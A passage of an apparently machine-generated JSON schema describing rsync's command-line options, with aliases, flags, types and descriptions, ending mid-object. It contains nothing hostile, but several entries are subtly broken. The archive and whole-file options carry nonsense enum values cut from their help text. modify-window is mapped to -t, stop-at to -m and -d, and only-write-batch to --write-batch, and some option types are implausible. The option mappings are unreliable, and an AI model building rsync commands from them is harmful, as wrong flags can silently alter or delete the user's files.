        ],
        "flag": "--stderr"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress non-error messages",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "no-motd",
        "template_key": "no-motd",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress daemon-mode MOTD",
        "aliases": [
          "--no-motd"
        ],
        "flag": "--no-motd"
      },
      {
        "name": "checksum",
        "template_key": "checksum",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "skip based on checksum, not mod-time & size",
        "aliases": [
          "-c",
          "--checksum"
        ],
        "flag": "-c"
      },
      {
        "name": "archive",
        "template_key": "archive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "archive mode is -rlptgoD (no -A,-X,-U,-N,-H)",
        "aliases": [
          "-a",
          "--archive"
        ],
        "enum": [
          "no -A",
          "-X",
          "-U",
          "-N",
          "-H"
        ],
        "flag": "-a"
      },
      {
        "name": "no-OPTION",
        "template_key": "no-option",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn off an implied OPTION (e.g. --no-D)",
        "aliases": [
          "--no-OPTION"
        ],
        "flag": "--no-OPTION"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "recurse into directories",
        "aliases": [
          "-r",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "relative",
        "template_key": "relative",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use relative path names",
        "aliases": [
          "-R",
          "--relative"
        ],
        "flag": "-R"
      },
      {
        "name": "no-implied-dirs",
        "template_key": "no-implied-dirs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't send implied dirs with --relative",
        "aliases": [
          "--no-implied-dirs"
        ],
        "flag": "--no-implied-dirs"
      },
      {
        "name": "backup",
        "template_key": "backup",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "make backups (see --suffix & --backup-dir)",
        "aliases": [
          "-b",
          "--backup"
        ],
        "flag": "-b"
      },
      {
        "name": "backup-dir",
        "template_key": "backup-dir",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "make backups into hierarchy based in DIR",
        "aliases": [
          "--backup-dir"
        ],
        "flag": "--backup-dir"
      },
      {
        "name": "suffix",
        "template_key": "suffix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "backup suffix (default ~ w/o --backup-dir)",
        "aliases": [
          "--suffix"
        ],
        "flag": "--suffix"
      },
      {
        "name": "update",
        "template_key": "update",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "skip files that are newer on the receiver",
        "aliases": [
          "-u",
          "--update"
        ],
        "flag": "-u"
      },
      {
        "name": "inplace",
        "template_key": "inplace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "update destination files in-place",
        "aliases": [
          "--inplace"
        ],
        "flag": "--inplace"
      },
      {
        "name": "append",
        "template_key": "append",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "append data onto shorter files",
        "aliases": [
          "--append"
        ],
        "flag": "--append"
      },
      {
        "name": "append-verify",
        "template_key": "append-verify",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--append w/old data in file checksum",
        "aliases": [
          "--append-verify"
        ],
        "flag": "--append-verify"
      },
      {
        "name": "dirs",
        "template_key": "dirs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "transfer directories without recursing",
        "aliases": [
          "-d",
          "--dirs"
        ],
        "flag": "-d"
      },
      {
        "name": "old-dirs",
        "template_key": "old-dirs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "works like --dirs when talking to old rsync",
        "aliases": [
          "--old-dirs",
          "--old-d"
        ],
        "flag": "--old-d"
      },
      {
        "name": "mkpath",
        "template_key": "mkpath",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "create destination's missing path components",
        "aliases": [
          "--mkpath"
        ],
        "flag": "--mkpath"
      },
      {
        "name": "links",
        "template_key": "links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "copy symlinks as symlinks",
        "aliases": [
          "-l",
          "--links"
        ],
        "flag": "-l"
      },
      {
        "name": "copy-links",
        "template_key": "copy-links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "transform symlink into referent file/dir",
        "aliases": [
          "-L",
          "--copy-links"
        ],
        "flag": "-L"
      },
      {
        "name": "copy-unsafe-links",
        "template_key": "copy-unsafe-links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "only \"unsafe\" symlinks are transformed",
        "aliases": [
          "--copy-unsafe-links"
        ],
        "flag": "--copy-unsafe-links"
      },
      {
        "name": "safe-links",
        "template_key": "safe-links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore symlinks that point outside the tree",
        "aliases": [
          "--safe-links"
        ],
        "flag": "--safe-links"
      },
      {
        "name": "munge-links",
        "template_key": "munge-links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "munge symlinks to make them safe & unusable",
        "aliases": [
          "--munge-links"
        ],
        "flag": "--munge-links"
      },
      {
        "name": "copy-dirlinks",
        "template_key": "copy-dirlinks",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "transform symlink to dir into referent dir",
        "aliases": [
          "-k",
          "--copy-dirlinks"
        ],
        "flag": "-k"
      },
      {
        "name": "keep-dirlinks",
        "template_key": "keep-dirlinks",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "treat symlinked dir on receiver as dir",
        "aliases": [
          "-K",
          "--keep-dirlinks"
        ],
        "flag": "-K"
      },
      {
        "name": "hard-links",
        "template_key": "hard-links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve hard links",
        "aliases": [
          "-H",
          "--hard-links"
        ],
        "flag": "-H"
      },
      {
        "name": "perms",
        "template_key": "perms",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve permissions",
        "aliases": [
          "-p",
          "--perms"
        ],
        "flag": "-p"
      },
      {
        "name": "executability",
        "template_key": "executability",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve executability",
        "aliases": [
          "-E",
          "--executability"
        ],
        "flag": "-E"
      },
      {
        "name": "chmod",
        "template_key": "chmod",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "affect file and/or directory permissions",
        "aliases": [
          "--chmod"
        ],
        "flag": "--chmod"
      },
      {
        "name": "acls",
        "template_key": "acls",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve ACLs (implies --perms)",
        "aliases": [
          "-A",
          "--acls"
        ],
        "flag": "-A"
      },
      {
        "name": "xattrs",
        "template_key": "xattrs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve extended attributes",
        "aliases": [
          "-X",
          "--xattrs"
        ],
        "flag": "-X"
      },
      {
        "name": "owner",
        "template_key": "owner",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve owner (super-user only)",
        "aliases": [
          "-o",
          "--owner"
        ],
        "flag": "-o"
      },
      {
        "name": "group",
        "template_key": "group",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve group",
        "aliases": [
          "-g",
          "--group"
        ],
        "flag": "-g"
      },
      {
        "name": "devices",
        "template_key": "devices",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve device files (super-user only)",
        "aliases": [
          "--devices"
        ],
        "flag": "--devices"
      },
      {
        "name": "copy-devices",
        "template_key": "copy-devices",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "copy device contents as a regular file",
        "aliases": [
          "--copy-devices"
        ],
        "flag": "--copy-devices"
      },
      {
        "name": "write-devices",
        "template_key": "write-devices",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "write to devices as files (implies --inplace)",
        "aliases": [
          "--write-devices"
        ],
        "flag": "--write-devices"
      },
      {
        "name": "specials",
        "template_key": "specials",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve special files",
        "aliases": [
          "--specials"
        ],
        "flag": "--specials"
      },
      {
        "name": "times",
        "template_key": "times",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve modification times",
        "aliases": [
          "-t",
          "--times"
        ],
        "flag": "-t"
      },
      {
        "name": "atimes",
        "template_key": "atimes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve access (use) times",
        "aliases": [
          "-U",
          "--atimes"
        ],
        "flag": "-U"
      },
      {
        "name": "open-noatime",
        "template_key": "open-noatime",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "avoid changing the atime on opened files",
        "aliases": [
          "--open-noatime"
        ],
        "flag": "--open-noatime"
      },
      {
        "name": "crtimes",
        "template_key": "crtimes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve create times (newness)",
        "aliases": [
          "-N",
          "--crtimes"
        ],
        "flag": "-N"
      },
      {
        "name": "omit-dir-times",
        "template_key": "omit-dir-times",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "omit directories from --times",
        "aliases": [
          "-O",
          "--omit-dir-times"
        ],
        "flag": "-O"
      },
      {
        "name": "omit-link-times",
        "template_key": "omit-link-times",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "omit symlinks from --times",
        "aliases": [
          "-J",
          "--omit-link-times"
        ],
        "flag": "-J"
      },
      {
        "name": "super",
        "template_key": "super",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "receiver attempts super-user activities",
        "aliases": [
          "--super"
        ],
        "flag": "--super"
      },
      {
        "name": "fake-super",
        "template_key": "fake-super",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "store/recover privileged attrs using xattrs",
        "aliases": [
          "--fake-super"
        ],
        "flag": "--fake-super"
      },
      {
        "name": "sparse",
        "template_key": "sparse",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn sequences of nulls into sparse blocks",
        "aliases": [
          "-S",
          "--sparse"
        ],
        "flag": "-S"
      },
      {
        "name": "preallocate",
        "template_key": "preallocate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "allocate dest files before writing them",
        "aliases": [
          "--preallocate"
        ],
        "flag": "--preallocate"
      },
      {
        "name": "dry-run",
        "template_key": "dry-run",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "perform a trial run with no changes made",
        "aliases": [
          "-n",
          "--dry-run"
        ],
        "flag": "-n"
      },
      {
        "name": "whole-file",
        "template_key": "whole-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "copy files whole (w/o delta-xfer algorithm)",
        "aliases": [
          "-W",
          "--whole-file"
        ],
        "enum": [
          "w",
          "o delta-xfer algorithm"
        ],
        "flag": "-W"
      },
      {
        "name": "checksum-choice",
        "template_key": "checksum-choice",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "choose the checksum algorithm (aka --cc)",
        "aliases": [
          "--checksum-choice"
        ],
        "flag": "--checksum-choice"
      },
      {
        "name": "one-file-system",
        "template_key": "one-file-system",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't cross filesystem boundaries",
        "aliases": [
          "-x",
          "--one-file-system"
        ],
        "flag": "-x"
      },
      {
        "name": "block-size",
        "template_key": "block-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "force a fixed checksum block-size",
        "aliases": [
          "-B",
          "--block-size"
        ],
        "flag": "-B"
      },
      {
        "name": "rsh",
        "template_key": "rsh",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "specify the remote shell to use",
        "aliases": [
          "-e",
          "--rsh"
        ],
        "flag": "-e"
      },
      {
        "name": "rsync-path",
        "template_key": "rsync-path",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "specify the rsync to run on remote machine",
        "aliases": [
          "--rsync-path"
        ],
        "flag": "--rsync-path"
      },
      {
        "name": "existing",
        "template_key": "existing",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "skip creating new files on receiver",
        "aliases": [
          "--existing"
        ],
        "flag": "--existing"
      },
      {
        "name": "ignore-existing",
        "template_key": "ignore-existing",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "skip updating files that exist on receiver",
        "aliases": [
          "--ignore-existing"
        ],
        "flag": "--ignore-existing"
      },
      {
        "name": "remove-source-files",
        "template_key": "remove-source-files",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "sender removes synchronized files (non-dir)",
        "aliases": [
          "--remove-source-files"
        ],
        "flag": "--remove-source-files"
      },
      {
        "name": "del",
        "template_key": "del",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "an alias for --delete-during",
        "aliases": [
          "--del"
        ],
        "flag": "--del"
      },
      {
        "name": "delete",
        "template_key": "delete",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "delete extraneous files from dest dirs",
        "aliases": [
          "--delete"
        ],
        "flag": "--delete"
      },
      {
        "name": "delete-before",
        "template_key": "delete-before",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "receiver deletes before xfer, not during",
        "aliases": [
          "--delete-before"
        ],
        "flag": "--delete-before"
      },
      {
        "name": "delete-during",
        "template_key": "delete-during",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "receiver deletes during the transfer",
        "aliases": [
          "--delete-during"
        ],
        "flag": "--delete-during"
      },
      {
        "name": "delete-delay",
        "template_key": "delete-delay",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "find deletions during, delete after",
        "aliases": [
          "--delete-delay"
        ],
        "flag": "--delete-delay"
      },
      {
        "name": "delete-after",
        "template_key": "delete-after",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "receiver deletes after transfer, not during",
        "aliases": [
          "--delete-after"
        ],
        "flag": "--delete-after"
      },
      {
        "name": "delete-excluded",
        "template_key": "delete-excluded",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "also delete excluded files from dest dirs",
        "aliases": [
          "--delete-excluded"
        ],
        "flag": "--delete-excluded"
      },
      {
        "name": "ignore-missing-args",
        "template_key": "ignore-missing-args",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore missing source args without error",
        "aliases": [
          "--ignore-missing-args"
        ],
        "flag": "--ignore-missing-args"
      },
      {
        "name": "delete-missing-args",
        "template_key": "delete-missing-args",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "delete missing source args from destination",
        "aliases": [
          "--delete-missing-args"
        ],
        "flag": "--delete-missing-args"
      },
      {
        "name": "ignore-errors",
        "template_key": "ignore-errors",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "delete even if there are I/O errors",
        "aliases": [
          "--ignore-errors"
        ],
        "flag": "--ignore-errors"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "force deletion of dirs even if not empty",
        "aliases": [
          "--force"
        ],
        "flag": "--force"
      },
      {
        "name": "max-delete",
        "template_key": "max-delete",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "don't delete more than NUM files",
        "aliases": [
          "--max-delete"
        ],
        "flag": "--max-delete"
      },
      {
        "name": "max-size",
        "template_key": "max-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "don't transfer any file larger than SIZE",
        "aliases": [
          "--max-size"
        ],
        "flag": "--max-size"
      },
      {
        "name": "min-size",
        "template_key": "min-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "don't transfer any file smaller than SIZE",
        "aliases": [
          "--min-size"
        ],
        "flag": "--min-size"
      },
      {
        "name": "max-alloc",
        "template_key": "max-alloc",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "change a limit relating to memory alloc",
        "aliases": [
          "--max-alloc"
        ],
        "flag": "--max-alloc"
      },
      {
        "name": "partial",
        "template_key": "partial",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "keep partially transferred files",
        "aliases": [
          "--partial"
        ],
        "flag": "--partial"
      },
      {
        "name": "partial-dir",
        "template_key": "partial-dir",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "put a partially transferred file into DIR",
        "aliases": [
          "--partial-dir"
        ],
        "flag": "--partial-dir"
      },
      {
        "name": "delay-updates",
        "template_key": "delay-updates",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "put all updated files into place at end",
        "aliases": [
          "--delay-updates"
        ],
        "flag": "--delay-updates"
      },
      {
        "name": "prune-empty-dirs",
        "template_key": "prune-empty-dirs",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "prune empty directory chains from file-list",
        "aliases": [
          "-m",
          "--prune-empty-dirs"
        ],
        "flag": "-m"
      },
      {
        "name": "numeric-ids",
        "template_key": "numeric-ids",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't map uid/gid values by user/group name",
        "aliases": [
          "--numeric-ids"
        ],
        "flag": "--numeric-ids"
      },
      {
        "name": "usermap",
        "template_key": "usermap",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "custom username mapping",
        "aliases": [
          "--usermap"
        ],
        "flag": "--usermap"
      },
      {
        "name": "groupmap",
        "template_key": "groupmap",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "custom groupname mapping",
        "aliases": [
          "--groupmap"
        ],
        "flag": "--groupmap"
      },
      {
        "name": "chown",
        "template_key": "chown",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "simple username/groupname mapping",
        "aliases": [
          "--chown"
        ],
        "flag": "--chown"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set I/O timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "contimeout",
        "template_key": "contimeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set daemon connection timeout in seconds",
        "aliases": [
          "--contimeout"
        ],
        "flag": "--contimeout"
      },
      {
        "name": "ignore-times",
        "template_key": "ignore-times",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't skip files that match size and time",
        "aliases": [
          "-I",
          "--ignore-times"
        ],
        "flag": "-I"
      },
      {
        "name": "size-only",
        "template_key": "size-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "skip files that match in size",
        "aliases": [
          "--size-only"
        ],
        "flag": "--size-only"
      },
      {
        "name": "modify-window",
        "template_key": "modify-window",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-t",
          "--modify-window"
        ],
        "flag": "-t"
      },
      {
        "name": "temp-dir",
        "template_key": "temp-dir",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "create temporary files in directory DIR",
        "aliases": [
          "-T",
          "--temp-dir"
        ],
        "flag": "-T"
      },
      {
        "name": "fuzzy",
        "template_key": "fuzzy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "find similar file for basis if no dest file",
        "aliases": [
          "-y",
          "--fuzzy"
        ],
        "flag": "-y"
      },
      {
        "name": "compare-dest",
        "template_key": "compare-dest",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "also compare destination files relative to DIR",
        "aliases": [
          "--compare-dest"
        ],
        "flag": "--compare-dest"
      },
      {
        "name": "copy-dest",
        "template_key": "copy-dest",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "and include copies of unchanged files",
        "aliases": [
          "--copy-dest"
        ],
        "flag": "--copy-dest"
      },
      {
        "name": "link-dest",
        "template_key": "link-dest",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "hardlink to files in DIR when unchanged",
        "aliases": [
          "--link-dest"
        ],
        "flag": "--link-dest"
      },
      {
        "name": "compress",
        "template_key": "compress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "compress file data during the transfer",
        "aliases": [
          "-z",
          "--compress"
        ],
        "flag": "-z"
      },
      {
        "name": "compress-choice",
        "template_key": "compress-choice",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "choose the compression algorithm (aka --zc)",
        "aliases": [
          "--compress-choice"
        ],
        "flag": "--compress-choice"
      },
      {
        "name": "compress-level",
        "template_key": "compress-level",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "explicitly set compression level (aka --zl)",
        "aliases": [
          "--compress-level"
        ],
        "flag": "--compress-level"
      },
      {
        "name": "skip-compress",
        "template_key": "skip-compress",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "skip compressing files with suffix in LIST",
        "aliases": [
          "--skip-compress"
        ],
        "flag": "--skip-compress"
      },
      {
        "name": "cvs-exclude",
        "template_key": "cvs-exclude",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "auto-ignore files in the same way CVS does",
        "aliases": [
          "-C",
          "--cvs-exclude"
        ],
        "flag": "-C"
      },
      {
        "name": "filter",
        "template_key": "filter",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "add a file-filtering RULE",
        "aliases": [
          "-f",
          "--filter"
        ],
        "flag": "-f"
      },
      {
        "name": "exclude",
        "template_key": "exclude",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exclude files matching PATTERN",
        "aliases": [
          "--exclude"
        ],
        "flag": "--exclude"
      },
      {
        "name": "exclude-from",
        "template_key": "exclude-from",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "read exclude patterns from FILE",
        "aliases": [
          "--exclude-from"
        ],
        "flag": "--exclude-from"
      },
      {
        "name": "include",
        "template_key": "include",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't exclude files matching PATTERN",
        "aliases": [
          "--include"
        ],
        "flag": "--include"
      },
      {
        "name": "include-from",
        "template_key": "include-from",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "read include patterns from FILE",
        "aliases": [
          "--include-from"
        ],
        "flag": "--include-from"
      },
      {
        "name": "files-from",
        "template_key": "files-from",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "read list of source-file names from FILE",
        "aliases": [
          "--files-from"
        ],
        "flag": "--files-from"
      },
      {
        "name": "from0",
        "template_key": "from0",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "all *-from/filter files are delimited by 0s",
        "aliases": [
          "-0",
          "--from0"
        ],
        "flag": "-0"
      },
      {
        "name": "old-args",
        "template_key": "old-args",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable the modern arg-protection idiom",
        "aliases": [
          "--old-args"
        ],
        "flag": "--old-args"
      },
      {
        "name": "secluded-args",
        "template_key": "secluded-args",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use the protocol to safely send the args",
        "aliases": [
          "-s",
          "--secluded-args"
        ],
        "flag": "-s"
      },
      {
        "name": "trust-sender",
        "template_key": "trust-sender",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "trust the remote sender's file list",
        "aliases": [
          "--trust-sender"
        ],
        "flag": "--trust-sender"
      },
      {
        "name": "copy-as",
        "template_key": "copy-as",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "specify user & optional group for the copy",
        "aliases": [
          "--copy-as"
        ],
        "flag": "--copy-as"
      },
      {
        "name": "address",
        "template_key": "address",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "bind address for outgoing socket to daemon",
        "aliases": [
          "--address"
        ],
        "flag": "--address"
      },
      {
        "name": "port",
        "template_key": "port",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "specify double-colon alternate port number",
        "aliases": [
          "--port"
        ],
        "flag": "--port"
      },
      {
        "name": "sockopts",
        "template_key": "sockopts",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "specify custom TCP options",
        "aliases": [
          "--sockopts"
        ],
        "flag": "--sockopts"
      },
      {
        "name": "blocking-io",
        "template_key": "blocking-io",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use blocking I/O for the remote shell",
        "aliases": [
          "--blocking-io"
        ],
        "flag": "--blocking-io"
      },
      {
        "name": "outbuf",
        "template_key": "outbuf",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set out buffering to None, Line, or Block",
        "aliases": [
          "--outbuf"
        ],
        "flag": "--outbuf"
      },
      {
        "name": "stats",
        "template_key": "stats",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "give some file-transfer stats",
        "aliases": [
          "--stats"
        ],
        "flag": "--stats"
      },
      {
        "name": "flag-8",
        "template_key": "flag-8",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "leave high-bit chars unescaped in output",
        "aliases": [
          "-8",
          "--8-bit-output"
        ],
        "flag": "-8"
      },
      {
        "name": "human-readable",
        "template_key": "human-readable",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output numbers in a human-readable format",
        "aliases": [
          "-h",
          "--human-readable"
        ],
        "flag": "-h"
      },
      {
        "name": "progress",
        "template_key": "progress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show progress during transfer",
        "aliases": [
          "--progress"
        ],
        "flag": "--progress"
      },
      {
        "name": "itemize-changes",
        "template_key": "itemize-changes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output a change-summary for all updates",
        "aliases": [
          "-i",
          "--itemize-changes"
        ],
        "flag": "-i"
      },
      {
        "name": "remote-option",
        "template_key": "remote-option",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-M",
          "--remote-option"
        ],
        "flag": "-M"
      },
      {
        "name": "out-format",
        "template_key": "out-format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output updates using the specified FORMAT",
        "aliases": [
          "--out-format"
        ],
        "flag": "--out-format"
      },
      {
        "name": "log-file",
        "template_key": "log-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "log what we're doing to the specified FILE",
        "aliases": [
          "--log-file"
        ],
        "flag": "--log-file"
      },
      {
        "name": "log-file-format",
        "template_key": "log-file-format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "log updates using the specified FMT",
        "aliases": [
          "--log-file-format"
        ],
        "flag": "--log-file-format"
      },
      {
        "name": "password-file",
        "template_key": "password-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "read daemon-access password from FILE",
        "aliases": [
          "--password-file"
        ],
        "flag": "--password-file"
      },
      {
        "name": "early-input",
        "template_key": "early-input",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "use FILE for daemon's early exec input",
        "aliases": [
          "--early-input"
        ],
        "flag": "--early-input"
      },
      {
        "name": "list-only",
        "template_key": "list-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "list the files instead of copying them",
        "aliases": [
          "--list-only"
        ],
        "flag": "--list-only"
      },
      {
        "name": "bwlimit",
        "template_key": "bwlimit",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "limit socket I/O bandwidth",
        "aliases": [
          "--bwlimit"
        ],
        "flag": "--bwlimit"
      },
      {
        "name": "stop-after",
        "template_key": "stop-after",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Stop rsync after MINS minutes have elapsed",
        "aliases": [
          "--stop-after"
        ],
        "flag": "--stop-after"
      },
      {
        "name": "stop-at",
        "template_key": "stop-at",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Stop rsync at the specified point in time",
        "aliases": [
          "-m",
          "-d",
          "--stop-at"
        ],
        "flag": "-m"
      },
      {
        "name": "fsync",
        "template_key": "fsync",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "fsync every written file",
        "aliases": [
          "--fsync"
        ],
        "flag": "--fsync"
      },
      {
        "name": "write-batch",
        "template_key": "write-batch",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "write a batched update to FILE",
        "aliases": [
          "--write-batch"
        ],
        "flag": "--write-batch"
      },
      {
        "name": "only-write-batch",
        "template_key": "only-write-batch",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--only-write-batch",
          "--write-batch"
        ],
        "flag": "--write-batch"
      },
      {
        "name": "read-batch",
        "template_key": "read-batch",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "read a batched update from FILE",
        "aliases": [
          "--read-batch"
        ],
        "flag": "--read-batch"
      },
      {
        "name": "protocol",
        "template_key": "protocol",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "force an older protocol version to be used",
        "aliases": [
          "--protocol"
        ],
        "flag": "--protocol"
      },
      {
        "name": "iconv",
        "template_key": "iconv",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "request charset conversion of filenames",
        "aliases": [
          "--iconv"
        ],
        "flag": "--iconv"
      },
      {
        "name": "checksum-seed",
        "template_key": "checksum-seed",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set block/file checksum seed (advanced)",
        "aliases": [
          "--checksum-seed"
        ],
        "flag": "--checksum-seed"
      },
      {
        "name": "ipv4",
        "template_key": "ipv4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "prefer IPv4",
        "aliases": [
          "-4",
          "--ipv4"
        ],
        "flag": "-4"
      },
      {
        "name": "ipv6",
        "template_key": "ipv6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "prefer IPv6",
        "aliases": [
          "-6",
          "--ipv6"
        ],
        "flag": "-6"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the version + other info and exit",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show this help (* -h is help only on its own)",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Rsync documentation",
        "url": "https://rsync.samba.org/documentation.html"
      },
      {
        "label": "Rsync tips and tricks",
        "url": "https://linux.die.net/man/1/rsync"
      }
    ],
    "related_tools": [
      "unison",
      "tar",
      "rclone",
      "scp",
      "network-remote-ssh",
      "network-transfer-scp",
      "network-transfer-sftp"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "medium",
